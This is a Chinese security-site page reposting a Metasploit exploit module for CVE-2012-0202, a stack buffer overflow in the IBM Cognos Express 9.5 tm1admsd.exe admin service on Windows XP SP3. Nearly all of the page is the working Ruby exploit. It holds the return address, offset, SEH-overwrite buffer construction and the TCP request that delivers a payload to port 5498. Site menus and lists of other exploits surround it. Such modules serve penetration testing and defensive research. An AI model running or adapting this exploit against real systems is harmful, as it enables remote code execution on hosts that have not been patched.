首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
IBM Cognos tm1admsd.exe Overflow Vulnerability
来源:metasploit.com 作者:vazquez 发布时间:2013-01-09  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Cognos tm1admsd.exe Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in IBM Cognos Analytic Server
    Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
    dangerous copy of user controlled data to the stack, via memcpy, without validating
    the supplied length and data. The module has been tested successfully on IBM Cognos
    Express 9.5 over Windows XP SP3.
   },
   'Author'         =>
    [
     'Unknown', # Original discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2012-0202'],
     ['OSVDB', '80876'],
     ['BID', '52847'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
     ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'SSL' => true,
     'SSLVersion' => 'TLS1'
    },
   'Payload'        =>
    {
     'Space'    => 10359,
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'DefaultTarget'  => 0,
   'Targets'        =>
    [
     # tm1admsd.exe 9.5.10009.10070
     # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
     [ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
    ],
   'DisclosureDate' => 'Apr 02 2012'))

   register_options([Opt::RPORT(5498)], self.class)
 end

 def exploit

  sploit = payload.encoded
  sploit << rand_text(target['Offset'] - sploit.length)
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
  sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
  sploit << [target.ret].pack("V") # seh
  sploit << rand_text(2000) # Trigger exception

  data = rand_text(4)
  data << "\x00\x08" # Opcode
  data << [sploit.length].pack("n") # Length
  data << sploit # Value

  length = [data.length + 2].pack("n")

  req = length
  req << data

  connect
  sock.put(req)
  disconnect

 end
end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress Google Document Embe
·XML-RPC PingBack API Remote Do
·Inmatrix Ltd. Zoom Player 8.5
·Ettercap <= 0.7.5.1 Stack Over
·Colloquy 1.3.5 / 1.3.6 Denial
·Foxit Reader <= 5.4.4.1128 Fir
·Samsung Kies 2.5.0.12114_1 Buf
·FoxPlayer v2.9.0 Denial of Ser
·Nero MediaHome 4.5.8.0 Denial
·Enterasys NetSight nssyslogd.e
·eXtplorer 2.1 Arbitrary File U
·Ratbox IRCd Denial Of Service
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved